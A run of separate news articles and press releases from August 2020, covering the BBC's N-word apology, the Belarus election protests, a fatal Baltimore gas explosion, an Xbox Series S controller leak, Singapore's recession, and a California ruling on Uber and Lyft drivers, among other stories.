broadcaster had intended to highlight an alleged racist attack, wrote Hall, who added that the BBC would continue to report on these stories. "Every organisation should be able to acknowledge when it has made a mistake. We made one here," he wrote. "It is important for us to listen and also to learn. And that is what we will continue to do." The apology came after a popular BBC radio host, DJ Sideman, resigned over the use of the slur. "The use of the N-word and the subsequent defense of it felt like a slap in the face of our community," DJ Sideman real name David Whitely said in a video statement posted on Instagram Saturday. "The BBC sanctioning the N-word being said on national television by a white person is something I can't rock with. This is an error in judgment where I can't just smile with you through the process and act like everything is okay," he added. On Sunday, a Black correspondent for BBC World, Larry Madowo, told his 1.9 million Twitter followers that the BBC "didn't allow" him to use the N-world in an article when quoting an African-American. "But a white person was allowed to say it ON TV because it was 'editorially justified,'" Madowo tweeted. Lamdin's report aired on July 29. It described an attack on a health worker and musician known as K, or K-Dogg. He was hit by a car on July 22, in what police described as a "racially aggravated attack" due to the racist language used by the occupants of the car. Four men between the ages of 18 and 23 have been arrested on suspicion of attempted murder. This story was first published on CNN.com, "BBC apologizes for use of N-word in news report." MINSK, Belarus The top opposition candidate in Belarus presidential election left for Lithuania Tuesday but anti-government demonstrators still turned out for a third straight night to protest the vote results, despite a massive police crackdown that prompted a warning of possible European Union sanctions. Hundreds of people took to the streets of Minsk and several other cities on Tuesday evening. Clashes between the protesters and police using stun grenades and rubber bullets to disperse the crowds continued well into the night. Earlier on Tuesday Sviatlana Tsikhanouskaya, 37, a former English teacher who entered the race after her husbands jailing in Belarus, apologized to her backers in a video statement and said it was her own choice to leave the country. It was a very hard decision to make, Tsikhanouskaya said, looking haggard and distressed. I know that many of you will understand me, many others will condemn me and some will even hate me. But God forbid you ever face the choice that I faced. In another video statement released later Tuesday, she urged her supporters to respect the law and to avoid clashes with police. The statements marked an abrupt about-face for Tsikhanouskaya hours after she dismissed the official results of Sundays election that showed President Alexander Lukashenko winning a sixth term with a landslide 80% of the vote, and her getting just 10%. Her campaign aides said she made the unexpected moves under duress. Tsikhanouskayas husband, an opposition blogger who had hoped to run for president, has been jailed since his arrest in May. Its very difficult to resist pressure when your family and all your inner circle have been taken hostages, Maria Kolesnikova, a top associate of Tsikhanouskayas, said. The former candidates campaign put out a statement urging authorities to engage in a dialogue with protesters on a peaceful transition of power. The authoritarian Lukashenko, who has ruled the ex-Soviet nation of 9.5 million with an iron fist since 1994, has derided the opposition as sheep manipulated by foreign masters and vowed to continue taking a tough position on protests despite Western rebukes over the election. Thousands of opposition supporters protesting the election results encountered aggressive police tactics in the capital of Minsk and several other Belarusian cities. On Monday, a protester died amid clashes in Minsk and scores were injured as police used tear gas, flash-bang grenades and rubber bullets to disperse them. Belarus health officials said over 200 people have been hospitalized with injuries following the protests, and some underwent surgery. Police moved quickly Tuesday to separate and disperse scattered groups of protesters in the capital, but new pockets of resistance kept mushrooming across downtown Minsk. You can shut Tsikhanouskaya up, but you wont be able to intimidate and shut an entire nation up. We continue peaceful protests and dont recognize Lukashenko as president, said 24-year-old protester Denis Kruglyakov. Officers detained dozens, including some of those who brought flowers to the place where the protester died the previous night. Human rights group Viasna also reported mass detentions in the cities of Grodno, Brest and Vitebsk. Motorists were blaring horns in a sign of support, and some used their cars to block police vehicles passage. The Interior Ministry warned that such vehicles will be impounded and their owners could face criminal charges. The ministry said Tuesday more than 2,000 people were detained across the country for taking part in unsanctioned protests on Monday evening and overnight. It added that 21 police officers were injured in clashes with protesters, and five of them were hospitalized. The previous day, the ministry reported more than 3,000 detentions and said 89 people were injured, including 39 law enforcement officers. Several journalists have been injured, and some were detained by police. On Tuesday, police seized memory cards from a group of photographers, including an AP photographer, as they were making shots of the crackdown. As the Internet has remained down across the country for a third straight day in what appears to be an attempt by the authorities to make it harder for protesters to coordinate their efforts, thousands of Belarusians have struggled to find out what happened to their missing relatives. We are still waiting for any sign or information, said Lena Radomanova, who has been searching for a friend who has disappeared. The crackdown drew harsh criticism from the European Union and the United States. EU foreign policy chief Josep Borrell warned Tuesday that the 27-nation bloc is mulling action against those involved in the police crackdown or against officials who might have interfered with the vote. Borrell said the elections were neither free nor fair, and called on Minsk to begin a dialogue with society to avoid further violence. In 2016, the EU lifted most of the sanctions it slapped on Belarus in 2004 after Lukashenko, dubbed Europes last dictator in the West, freed political prisoners and allowed protests. The United Nations on Tuesday expressed concern at reports of escalating violence in Belarus and again called on authorities to exercise restraint, to ensure respect for human rights, the democratic process, the rule of law. Economic damage caused by the coronavirus and Lukashenkos swaggering response to the pandemic, which he airily dismissed as psychosis, has fueled broad anger, helping swell the opposition ranks and prompting the Belarusian leader to unleash a renewed crackdown on dissent. Tsikhanouskaya, who lacks any prior political experience, entered the race after her husbands arrest. She managed to unite fractured opposition groups and draw tens of thousands to her campaign rallies the largest opposition demonstrations in Belarus since the 1991 collapse of the Soviet Union. In the video statement, Tsikhanouskaya thanked her supporters for backing her candidacy, but added that the people of Belarus have made their choice. Belarusians, Im urging you to show common sense and respect for the law, she said without emotion, reading a text without raising her eyes from the paper. I dont want blood and violence. Im asking you not to confront the police and not take to squares to put your lives in danger. Take care of yourselves and your relatives. Hours before that, Tsikhanouskaya disputed the vote results and submitted a formal request for a recount to the Central Election Commission. She stayed in the commission headquarters for hours and faced senior law enforcement officers, according to her campaign aides. She wasnt seen again until showing up on Tuesday in Lithuania where she had previously sent her children after receiving threats early in the campaign. One aide, Olga Kovalkova, said the about-face came under pressure from the authorities who made Tsikhanouskaya read a prepared statement and then drove her out of the country. We dont know what kind of pressure she was subjected to and how they tried to break her, Kovalkova said. She couldnt have said it on her own. She was reading a prepared text. She said that Tsikhanouskaya left the country with her campaign chief, Maria Moroz, who had been detained over the weekend. Several other campaign aides have remained in custody. Lithuanian Foreign Minister Linas Linkevicius said the videos posted by Tsikhanouskaya had been recorded in Belarus before her journey to Vilnius. I thought that the campaign had tempered me and made me so strong that I could resist anything, Tsikhanouskaya said in the first of her two videos, her face gaunt and her voice breaking. But it appears that I have remained the same weak woman that I was before. Tsikhanouskayas ally Kolesnikova warned in a video statement Tuesday evening that the protests will continue and urged the authorities to stop the violent crackdown. We ask the government not to ignore the will of the people, not to drown it in water from water cannons, not to deafen it with grenades, not to mutilate it with bullets, not to knock it out with truncheons, Kolesnikova said. These people wont disappear. They will no longer be able to forget about whats happening. They will no longer live like they used to. They need changes. ___ Vladimir Isachenkov and Daria Litvinova in Moscow, Liudas Dapkus in Vilnius, Lithuania, Lorne Cook in Brussels, Mike Corder in The Hague, Vanessa Gera in Warsaw and Edith Lederer in the United Nations contributed to this report. Rescuers have pulled a second body from the rubble of the Baltimore gas explosion where one woman was killed and another seven were hospitalized. The body of an adult male was recovered from the site of the deadly blast just before 1 a.m. Tuesday morning, taking the number of fatalities up to two. One woman was previously found dead and seven were seriously injured in the gas explosion that rocked the neighborhood at Labyrinth and Reisterstown Road Monday morning. The shock blast ripped through and completely flattened three homes, sparking a massive rescue operation that involved drafting in more than 200 emergency personnel in a desperate search for survivors. Rescuers have pulled a second body from the rubble of the Baltimore gas explosion where one woman was killed and another seven were hospitalized. Pictured emergency responders on the scene Monday Debris and rubble covers the ground in the aftermath of the deadly blast that ripped through and completely flattened three row homes in Baltimore Monday morning Fire Department spokesperson Blair Adams said at a press conference Tuesday morning there are no other reports of missing persons and it is now a recovery - not a rescue - mission. 'Right now we are working on a recovery effort,' Adams said. 'This was a really tough time for the community, for the residents of this neighborhood and the fire department.' Of the seven surviving victims, five remain in a critical condition in hospital, she said. The identities of the man and the woman who were killed have not yet been released. The names, ages and genders of the seven people in hospital have also not been released. On Monday night, one distraught man told the Baltimore Sun his 20-year-old nephew was missing after going to one of the three flattened homes for a party the night before the blast. Neighbors gathered outside the explosion site Monday morning. The body of an adult male was recovered from the site of the deadly blast just before 1 a.m. Tuesday morning, taking the number of fatalities up to two Emergency responders pictured combing through the rubble of the three homes to look for survivors Monday. One woman was found dead and seven seriously injured in the hours after the gas explosion that rocked the neighborhood at Labyrinth and Reisterstown Road Monday morning - and the body of another victim was found early Tuesday The shock blast ripped through and completely flattened three row homes, sparking a massive rescue operation that involved drafting in more than 200 emergency personnel in a desperate search for survivors Joseph Graham, a student at Morgan State University, stayed the night in the home after the party and his family members had been unable to reach him after the explosion, his uncle Isaac Graham told the Sun. Josephs aunt Sunshine Evans also told ABC 2 WMAR Baltimore Monday night he was one of three relatives who had been inside one of the collapsed homes. The other two - her other nephew Damon Evans and his mother - had been rescued and taken to hospital, she said. The explosion ripped through the community just before 10 a.m. Monday morning, leveling three homes and leaving a fourth with its side ripped off. Horrifying images of the aftermath showed bricks and rubble were all that remained where the homes once stood. The windows in more than a dozen nearby properties were blown out from the force of the explosion and residents reported hearing the blast several blocks away. Shocked neighbors heard children screaming for help from the rubble before the emergency services arrived on the scene. Initial reports said five people, including children, were trapped under the flattened homes. Soon after the blast, Baltimore Fire confirmed the body of a woman was found and that three others had been taken to hospital in a critical condition. Health workers transport a body at the scene of the blast Monday. Fire Department spokesperson Blair Adams said at a press conference Tuesday morning there are no other reports of missing persons Firefighters transport an injured person on a stretcher at the scene of the explosion in the residential area Monday. It is now a recovery - not a rescue - mission, officials said Tuesday Children were heard screaming for help after the deadly explosion leveled three homes More than 200 emergency responders combed the scene for survivors throughout the day, finding four other survivors during the intense mission and the body of the man early Tuesday. At one point, firefighters were seen using a chainsaw to cut through the roof of a collapsed building and search dogs were brought in to look for signs of life. One eyewitness Kevin Matthews, who has lived on Labyrinth Road for 28 years, told the Chicago Tribune he rushed to the scene of the explosion just after 10 a.m. and could hear the cries of children trapped under the homes. 'Come get us! We're stuck!' he heard children screaming from the rubble before the emergency services arrived. He said he ran from his home barefoot after hearing the blast and could smell gas and smoke. 'It was catastrophic. It was like a bomb, like you watch things in other countries where they have like bombings and things like that,' Dean Jones told CBS Baltimore. BEFORE: A view of the homes before they were destroyed in the blast 'It was like watching that in real life. Telephone poles split, I mean, houses down the block, broken glass. 'When I initially got there, I could hear a voice just saying help. It's crazy. It's something I don't ever wanna see ever again - I don't want to relive it ever again.' Another survivor Major Watkins Jr., an 88-year-old army veteran whose home was completely destroyed in the explosion, told The Baltimore Sun the blast 'sounded like Korea.' Around 30 residents were given temporarily shelter Monday night and would not be able to return to their homes Tuesday, amid fears the neighboring properties could also be in danger of collapse. Nearly 200 people in the surrounding area were affected by the explosion. An investigation into the cause of the blast is ongoing. Baltimore Fire confirmed it was a gas explosion Monday but the details remain unclear. The identities of the two people killed have not been released, but they have been confirmed as an adult male and adult female Neighbors look out at the carnage from the blast. Baltimore Fire confirmed it was a gas explosion Monday but the cause remain unclear Shocking images from the scene Monday the homes completely reduced to rubble while the windows in nearby properties are blown out in the wake of the blast that was heard several blocks away Baltimore Gas and Electric reported that no gas leaks have been found in the main on Labyrinth Road or any surrounding buildings. The gas system infrastructure in the area dates back to the early 1960s, and BGE asked the Maryland Public Service Commission in 2018 to approve a new infrastructure and a cost recovery mechanism to pay for upgrades needed to close the system's many leaks. 'Founded in 1816, BGE is the oldest gas distribution company in the nation. Like many older gas systems, a larger portion of its gas main and services infrastructure consists of cast iron and bare steel - materials that are obsolete and susceptible to failure with age,' BGE said at the time. The blast comes after a series of other gas leaks in Maryland in recent years amid ongoing complaints that the infrastructure is in need of repair. Last year, a gas explosion ripped the front off an office complex in Columbia, housing more than 20 businesses. The explosion occurred on a Sunday morning, meaning no one was in the building at the time and there were no victims. This followed a gas main break in 2016 which forced the evacuation of the Baltimore County Circuit Courthouse and a similar evacuation at the offices of Under Armour after a gas main break in 2012. A leak on the new Microsoft next-gen console Xbox Series S confirmed rumors, and it looks like it's cheaper than other consoles too. The leak was reported on by The Verge that obtained photos of the Xbox console controller. In it, the packaging mentioned the name Xbox Series S. Twitter user Zak S was able to buy the controller on Sunday, and the tech news outlet confirmed that it was a genuine controller from the gaming brand. This leak took place way before Microsoft had officially announced that it would unveil an Xbox Series S, no less confirmed that it would have a new white controller for it. Less Powerful, Less Expensive Recent news has confirmed that the Series X console will hit stores later this year, but the cheaper, less powerful version never had its name-dropped and only remained in rumors. It was first believed to carry the codename, Xbox Lockhart, in June, reported CNET. A Reddit user discovered the new console on sale, though, and confirmed that it isn't named Lockhart, but is a Series S controller. According to the packaging notes, the new controller will work on Xbox Series X, Series S, Xbox One, PC, Android, and iOS devices. Ars Technica confirmed in their report that the upcoming and unannounced Microsoft product was indeed the Xbox Series S, based on sources who are familiar with the hardware plans. It is said that the new Series S will exist alongside the well-publicized Xbox Series X. Both don't have a confirmed release date or price. Zak S shared more photos of the controller to Ars Technica, where it showed how the new gaming development could sync with other hardware, including a laptop and a smartphone. The manual did not show older Xbox One models or a smaller console design for the Series S, which begs the question: "Will the new Series S have the same monolithic shape as Series X?" A Previous Leak This isn't the first time a mysterious controller was leaked online. A white version of the Xbox Series X controller first appeared online last month. It was complete with the new D-pad, texture trigger, and a new share button. The new leak matches the first controller that people found online. Since there is already an available retail packaging, there is a chance that it will hit stores soon. In a leak of Microsoft documents last June, the company's plans for two next-gen consoles were revealed. The Series X devkit was codenamed "Dante" in the document, and it allowed game developers to have a special Lockhart mode. It has a profile of the performance that Microsoft wants to see in its newer, second console. Lockhart was expected to have 7.5 GB of usable RAM and four teraflops of GPU performance. It was set to be shipped with the same CPU found in the Xbox Series X. The reveal of Series S is believed to be set sometime in August, and it will play a big part in the company's Xbox All Access subscription plans. Tech news outlets have reached out to Microsoft for comment on the leak, but the tech giant has not yet replied. Want to read more Tech story? Take a look at these! Ubisoft Exec Leaves Company After Sexual Misconduct Investigation Twitter Wants to Buy TikTok US Operations, Sources Say Mark Zuckerberg's Net Worth Balloons to More Than $100 Billion A divided three-judge panel in late June ordered Sullivan to close the case and said he was wrong to appoint a retired federal judge to argue against the governments position and schedule a hearing. But the full court, sitting Tuesday with 10 judges, agreed to take a second look at the unusual case that tests the power of the judiciary to check the executive branch. MIAMI, Aug. 11, 2020 /PRNewswire/ -- Punchey, Inc, the leading cloud-based payment and POS system for consumer facing businesses is pleased to report a significant increase in growth across software and payment volume metrics. Despite surging cases of the novel coronavirus, the Company has experienced rapid growth in new business and payment volume growth. "We are seeing a lot of new business formations across the country despite the outbreak. We posted our best month ever and expect to continue this trend into the year end. We are experiencing an increase in business activity across all of our core brands, which results in a direct correlation in payment volume," said Kunal Mehta, CEO of Punchey. "I think it speaks to the resiliency of not only our economy, but our industries." As of July 31, Punchey is pleased to report merchant transaction volume has increased by over 50% when compared to last year, while software revenue has more than doubled. About Punchey, Inc Punchey, through its software in a box solutions, is the leading cloud-based point of sale system for businesses of any size and scale. For details on Punchey's flexible and scalable business solutions visit www.punchey.com Contact: [email protected] SOURCE Punchey, Inc Related Links www.punchey.com A woman jogs past a cordoned off Merlion Park on June 12, 2020 in Singapore. Suhaimi Abdullah | Getty Images Singapore on Tuesday reported that its economy contracted more than initially expected and narrowed its economic forecast for the full year of 2020. The Singapore economy contracted by 42.9% in the second quarter of 2020 compared to the previous quarter on an annualized, seasonally-adjusted basis, said the Ministry of Trade and Industry. The updated figure was worse than the official advance estimate released last month, and confirmed the Southeast Asian country had entered a technical recession. The estimate, computed largely from data in April and May, had shown the economy shrinking by 41.2% in the second quarter compared to the prior three months. On a year-on-year basis, the country's gross domestic product shrank by 13.2% in the quarter ended June 30, according to the ministry. That's worse than the earlier estimate of a 12.6% year-over-year contraction and 0.3% on-year dip recorded in the first quarter. Zoom In Icon Arrows pointing outwards Large parts of the Singapore economy were shut in early April as the country entered a partial lockdown which the government called a "circuit breaker" to slow the spread of the coronavirus. Some of the restrictions have been eased starting early June, allowing most of the economy to reopen. "The fall in GDP was due to the Circuit Breaker (CB) measures implemented from 7 April to 1 June 2020 to slow the spread of COVID-19 in Singapore, as well as weak external demand amidst a global economic downturn caused by the COVID19 pandemic," the ministry said in a statement. Covid-19 is the formal name of the coronavirus disease. In Singapore, there have been more than 55,000 confirmed infections and 27 deaths relating to the virus, according to the health ministry's data. Most of those infected have recovered, with 5,656 cases still "active" as of Monday, said the health ministry. The partial lockdown halted almost all construction activity in the second quarter, resulting in the sector plunging 59.3% year-over-year in the second quarter, data by the Ministry of Trade and Industry showed. An outbreak among migrant workers living in dormitories many of whom worked in construction added to the sector's weakness, said the ministry. Here's how the other sectors performed in the April-to-June quarter: Manufacturing shrank by 0.7% year-over-year; Accommodation and food services plunged 41.4% on-year; Transportation and storage dived 39.2% from the previous year; Wholesale and retail trade fell 8.2% year-on-year; Finance and insurance grew 3.4% over the same period the only sector that registered growth. Revised 2020 forecast Representatives from 11 countries participate in the virtual ministerial roundtable meeting on August 5. [Women of China/Fan Wenjun] UN Women on August 5 held an international virtual ministerial roundtable meeting on ensuring progress toward Sustainable Development Goal 5 (SDG 5) amidst the novel coronavirus disease (COVID-19) outbreak, entitled "From Response to Recovery: Experiences from China and Global Partners." The meeting was held against the backdrop of the global spread of COVID-19, and aimed to share experiences of China and other countries in fighting against the pandemic, promoting women's development and enhancing international cooperation. Phumzile Mlambo-Ngcuka, UN Under-Secretary-General and UN Women Executive Director delivered a keynote speech at the meeting. Ministerial representatives from 11 countries including China, Egypt, Myanmar, Pakistan, Uganda, Senegal, and etc. took part in roundtable discussions, and nearly 90 people participated in the online meeting. Participants explored the impact of the pandemic on gender equality and women's development, shared the experiences and practices of countries in epidemic prevention and control as well as the resumption of work and production, and discussed measures to promote gender equality and women's all-around development in the post-pandemic era. They also called for further international cooperation to accelerate the implementation of the Beijing Declaration, Beijing Platform for Action and the 2030 Agenda for Sustainable Development of the United Nations, to build a more equal, inclusive and sustainable society. Huang Xiaowei, Vice Chairperson of the National Working Committee on Children and Women under the State Council and Vice President and First Member of the Secretariat of the All-China Women's Federation, delivers a keynote speech at the meeting. [Women of China/Fan Wenjun] China was the only country invited by UN Women to give a keynote speech at the meeting. The address was made by Huang Xiaowei, Vice Chairperson of the National Working Committee on Children and Women under the State Council and Vice President and First Member of the Secretariat of the All-China Women's Federation (ACWF), who introduced China's practices and experiences in coordinating COVID-19 prevention and control as well as economic and social development under the leadership of the Central Committee of the Communist Party of China (CPC) with Comrade Xi Jinping at its core. Huang said in the face of the unexpected COVID-19 pandemic, the CPC and the Chinese government has put people's lives and health first. CPC General Secretary and Chinese President Xi Jinping has taken charge and planned the response in person, and the whole country was mobilized to fight against the pandemic. Significant strategic achievements in the epidemic prevention and control have been made while the economy has been reported stable with signs of improvements in China. Huang shared the measures taken by China to safeguard the health and safety of women and children, along with the roles of Chinese women and women's federations in pandemic containment and the resumption of work. She pointed out that solidarity and cooperation are the most powerful weapon to defeat the pandemic. Phumzile Mlambo-Ngcuka, Under-Secretary-General of the UN and Executive Director of UN Women, delivers a keynote speech via video link at the meeting. [Women of China/Fan Wenjun] Ngcuka thanked the Chinese government for its strong support for UN Women, and the ACWF for sharing China's valuable experiences in COVID-19 prevention and control and economic recovery. She stressed that the women's contributions and leadership in responding to the pandemic and recovering economy should be fully valued by society. While the pandemic poses a huge challenge to the advancement of global gender equality and women's development, it also creates opportunities. In the post-pandemic era, countries should strengthen exchanges and cooperation, and work together to build a better world, Ngcuka added. Representatives spoke highly of China's successful measures in the fight against the pandemic and in boosting socio-economic development, as well as the importance it attaches to women and children. They appreciated the efforts made by Chinese women and women's federations, and expressed their gratitude to the Chinese government for its material assistance and support in fighting the pandemic around the world. (Women of China) "If we are to help the situation, then we have to be frank and honest about because we are asking the question, where is the dignity in all the Zimbabweans who are here?" said Zulu. By Akbar Mammadov A rally has been held in Tel Aviv, Israel in protest against Armenias recent military provocations on the border with Azerbaijan that killed 12 Azerbaijani servicemen and a civilian. Around 600 people of Azerbaijani origin, including those from the cities of Karmiel, Acre, Bat-yam, Holon and Rishon LeZion, took part in the rally organized by the "Azerbaijan House in Israel", the State Committee on Work with Diaspora reported on August 10. Azerbaijan and Israel flags, portraits of Azerbaijani soldiers killed in the April and Tovuz battles were displayed in the really. The protesters chanted slogans "End to Armenian terror!", "End to Armenian aggression!", "Karabakh is Azerbaijan!, If you call me, I will come, long live native Azerbaijan! I will die for you, long live native Azerbaijan!", Azerbaijan!, Israel!, among others. We declare with full responsibility to the whole world and most importantly, to the Armenian occupiers that the Armenian-Azerbaijani Nagorno-Karabakh conflict is both our tragedy and pain since truth and justice are on Azerbaijan's side, head of Azerbaijan House in Israel Nehamia Shirin Michaeli who organized and led the rally said. In this terrible war against the Armenian occupiers, Jews and Azerbaijanis have always fought together - we lived, rejoiced and fought together. We are proud of the fact that in this war against the Armenian invaders, one of the first national heroes of independent Azerbaijan was our brother Albert Agarunov, who became a symbol of courage and brotherhood of the Azerbaijani and Jewish peoples," Michaeli stressed. Rally participants issued a statement condemning the military provocations committed by the Armenian occupying forces on the state border in the direction of Tovuz. It was noted that as a result of the decisive response of the Azerbaijani Armed Forces, the Armenian occupiers withdrew and suffered heavy losses. They demanded the Israeli government and the world community to condemn Armenia for committing Khojaly genocide and to take decisive steps to liberate Azerbaijans occupied Nagorno-Karabakh regions and seven adjacent regions. Recent Armenian aggression on the border with Azerbaijan has prompted rallies in various cities across the world. The cross-border clashes between Azerbaijan and Armenia started on July 12 noon after Armenian troops fired artillery at Azerbaijani military post in Tovuz region. Azerbaijani armed forces retaliated destroying a stronghold, bombshells, vehicles and servicemen on the territory of the Armenias military unit by using artillery, mortars and tanks. Azerbaijan has also downed six Armenian UAVs. Azerbaijan lost 12 servicemen, including an army general, during cross-border clashes from July 12 till July 16. Armenian forces have also been shelling civilians in villages in Tovuz. An Azerbaijani civilian in Tovuzs Aghdam village was killed as a result of artillery shelling by the Armenian armed forces on July 14. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz BURLINGTON, Mass., Aug. 11, 2020 /PRNewswire/ -- Thanks to an industry-first collaborative initiative, Chronovo, Inc. and ESIS have achieved a record-setting 4x increase in the number of structured settlements over the past two years. Ken Paradis, Chronovo CEO and Bryan Shaughnessy, ESIS AVP, Worker's Compensation further announce total savings of almost $60M, with $29.5M in Medicare Set Aside (MSA) savings on workers' compensation settlements and $39M in additional structure financing value on liability claims settlements. The companies credit their successand average savings of 38% per claimto their innovative partnership and shared commitment to bringing measurable benefit to clients and injured individuals. The Chronovo-ESIS partnership is the first to combine five core innovations: A graphically intuitive quoting system for absolute transparency Priority responsiveness on smaller and more diverse claims Programmatic triggers for structure-ready claims Automated monthly national reports for statistical accuracy Industry-leading benchmark standards and joint accountability The resulting impact for injured individuals has also been profoundly positive. Structured settlements, which provide secure, scheduled, tax-free payments and may safeguard eligibility for public assistance programs, are more fully understoodand adoptedas a win-win financial option. Claimants gain extra protection from creditors and have the option of setting up "replenishing MSA" accounts if unexpected expenses arise. Chronovo CEO Ken Paradis points to the breakthrough nature of the partnership: "ESIS is a true industry innovator. They realized that it was the traditional structured settlement broker business and strategies, not the product itself, that kept structures stymied at less than 5% of the addressable opportunity. As we continue to achieve these kinds of successes for our clients, we are proud to stand shoulder-to-shoulder with the entire team." Bryan Shaughnessy, ESIS AVP, Workers' Compensation, adds: "Together, ESIS and Chronovo have created a revolutionary approach to resolving claims, tracking the value provided through rigorous performance metrics, and saving our clients money in the process." Both companies look forward to recording increasing successes. About Chronovo Chronovo, Inc. represents a comprehensive restructuring of the structured settlement industry so more people can realize their intended value. Bolstered by our proprietary technology, our nationwide team of multi-disciplinary professionals brings clarity and enhanced value for all parties in claims of all sizes. Related Links chronovo.com/work-with-us chronovo.com/chronicle SOURCE Chronovo, Inc. Related Links http://www.chronovo.com Joel Edgerton has candidly discussed his battle with anxiety and how it has left him 'terrified' of attending his own red carpet film premieres. The notoriously private actor opened up about the condition, which has affected him from his 20s, while speaking to the ABC's Australian Story on Monday night. 'I'm someone who suffers from anxiety and I know most of the time it is pretty mild for me,' the 46-year-old revealed. Candid: On Monday, notoriously private actor Joel Edgerton (pictured) revealed his struggle with anxiety while speaking to the ABC's Australian Story 'A lot of that... had to do with being scrutinised and not handling it well and not handling big crowds very well,' he added. Joel further admitted that it meant he didn't always cope well at glitzy Hollywood premieres. 'Just going to the premiere of a movie and I know everyone thinks this is glamorous, but it's sort of terrifying,' he revealed. 'I'm someone who suffers from anxiety and I know most of the time it is pretty mild for me,' the 46-year-old revealed, except for when he is big crowds Despite his struggle, The Great Gatsby star admitted he believes his anxiety helped him land his first on-screen gig in the hit 90s drama Police Rescue. 'I think I got the job on Police Rescue as my character was extremely panicked and anxious and that's how I felt going to the audition,' he said. 'So they probably thought I was just acting really well,' he added with a laugh. Fears: Joel further admitted that his fear of crowds meant he didn't always cope well at glitzy Hollywood red carpet premieres. 'Just going to the premiere of a movie and I know everyone thinks this is glamorous but it's sort of terrifying,' he revealed Since his debut on the ABC drama in 1995, Joel's career has flourished. He has had starring roles in Hollywood blockbusters, including Star Wars, Zero Dark Thirty and Red Sparrow. And the hit filmmaker firmly credits his family with helping to keep him grounded. 'There were points in my 20s when things were going well and I could have easily have done things to destroy that.... without the immense love of my family,' he explained. Flashback: Despite his struggles, Joel believes his anxiety helped him land his first on-screen gig in the hit 90s drama Police Rescue (pictured). 'I think I got the job on Police Rescue as my character was extremely panicked and anxious and that's how I felt going to the audition. So they probably thought I was just acting really well,' he said with a laugh The ruggedly handsome actor has been sheltering at home his home in Bondi with girlfriend Christina Centenera during the coronavirus pandemic. Joel and the Australian Vogue fashion director debuted their romance at GQ Australia's Man of the Year Awards in Sydney on November 14, 2018. Part 2 of Joel's Australian Story will air on the ABC at 8pm next Monday. Chinese fighter jets briefly cross median line in the Taiwan Strait ROC Central News Agency 08/10/2020 06:32 PM Taipei, Aug. 10 (CNA) Two Chinese warplanes briefly crossed the Taiwan Strait median line Monday morning into the Taiwan half of the waterway, according to Air Force Headquarters. The aircraft, a Shenyang J-11 and a Chengdu J-10, briefly crossed the line into Taiwan's side of the median line at around 9 a.m., but retreated to the western side of the line after Taiwanese patrol planes issued radio warnings, the Air Force said. There was no cause for public alarm, the military said, adding that it continues to closely monitor the airspace and waters around Taiwan. The incident came just one day after United States Secretary of Health and Human Services (HHS) Alex Azar and his delegation arrived for a four-day visit on Sunday. He is the first U.S. Cabinet official to visit Taiwan since 2014. (By Chen Yun-yu and Ko Lin) Enditem/ls NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address WASHINGTON (dpa-AFX) - General Motors (GM) said that its executive vice president and chief financial officer, Dhivya Suryadevara, will leave the company for an external opportunity outside the automotive industry. The company will conduct an internal and external search for a successor. The company said that it has appointed John Stapleton, GM North America chief financial officer, as acting global chief financial officer, effective August 15. Stapleton has been in his current role since January 2014. He joined the company in 1990 and has held a series of finance roles with increasing responsibility in manufacturing, labor, performance improvement and operations. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Uber CEO Dara Khosrowshahi says his company should be exempt from AB 5. Don't believe him. (Richard Drew / AP) The ride-hailing gig company Uber has made its way in this complex world largely by flouting local laws and denying to its drivers the benefits of formal employment. Courts and regulators have been taking an increasingly skeptical view of these practices. Few, however, have questioned them as bluntly as San Francisco Superior Court Judge Ethan P. Schulman. The judge on Monday ordered Uber and Lyft, its smaller ride-hailing competitor, to reclassify their drivers as employees rather than independent contractors. (He gave the firms 10 days to comply in case they wished to appeal.) It is high time that they face up to their responsibilities to their workers and to the public. San Francisco Superior Court Judge Ethan P. Schulman, referring to Uber and Lyft Schulman's order could deal a heavy blow to the companies, which have said their business models depend on avoiding the costs of employment and sticking their drivers with such expenses as fuel, vehicle upkeep and insurance. What's especially notable about the order is the directness of Schulman's language about the companies' legal positions, which include the assertion that they're not really in the transportation business they just provide drivers and passengers with an app allowing them to hook up. Schulman calls this argument "nonsense." He says it "flies in the face of economic reality and common sense." He notes "glaring inconsistencies" between the companies' position and statements they've made in other courtrooms and other contexts. He accuses Uber and Lyft of a "prolonged and brazen refusal to comply with California law." He states, "It is high time that they face up to their responsibilities to their workers and to the public." This is not the first time that the companies have been taken to task in court or by government regulators. A federal judge quoted by Schulman accused them earlier this year of "thumbing their noses" at state legislators and regulators. Story continues The California Public Utilities Commission, which had carved out a special regulatory designation for transportation network companies, informed the companies that as of last Jan. 1 their drivers are presumed to be employees and advised that the law requires them to provide the drivers with workers' compensation benefits starting July 1 . But Schulman's may be the sternest words laid against either of the companies since 2015, when Federal Judge Jed Rakoff of New York took Uber to task for allegedly lying in his court about a scheme to investigate a plaintiff who had sued its then-CEO, Travis Kalanick, for antitrust violations. Uber's activities, Rakoff said then, raised a serious risk of perverting the processes of justice before this court. Schulman's order is important because Uber and Lyft will almost certainly be voicing the arguments heard in his court to the broader public in the next few months. They and other gig companies have spent more than $110 million, so far, to pass a California ballot initiative aimed at overturning AB 5. That's the state law passed in 2019 that effectively requires them to classify their drivers as employees. The order, as it happens, pertains to a lawsuit filed in May by California Atty. Gen. Xavier Becerra and the city attorneys of Los Angles, San Francisco and San Diego, seeking an injunction to force Uber and Lyft to comply with AB 5 by properly classifying their drivers as employees. The companies sought to put the lawsuit on hold until a federal appeals court rules on their lawsuit to declare AB 5 unconstitutional and until the November election, when voters will rule on the ballot initiative, Proposition 22. Schulman denied the request. Uber fired an early shot for Proposition 22 on Monday with an op-ed appearing in the New York Times under the name of Uber CEO Dara Khosrowshahi. The essay, however, largely rehearses familiar assertions by the companies, including that classifying drivers as employees would drive up passenger fares and deprive drivers of "flexibility" in setting their hours. Khosrowshahi contends that the ballot initiative he's sponsoring would require the companies to "provide new benefits" to drivers without designating them as employees. We've already debunked these assertions. The "new 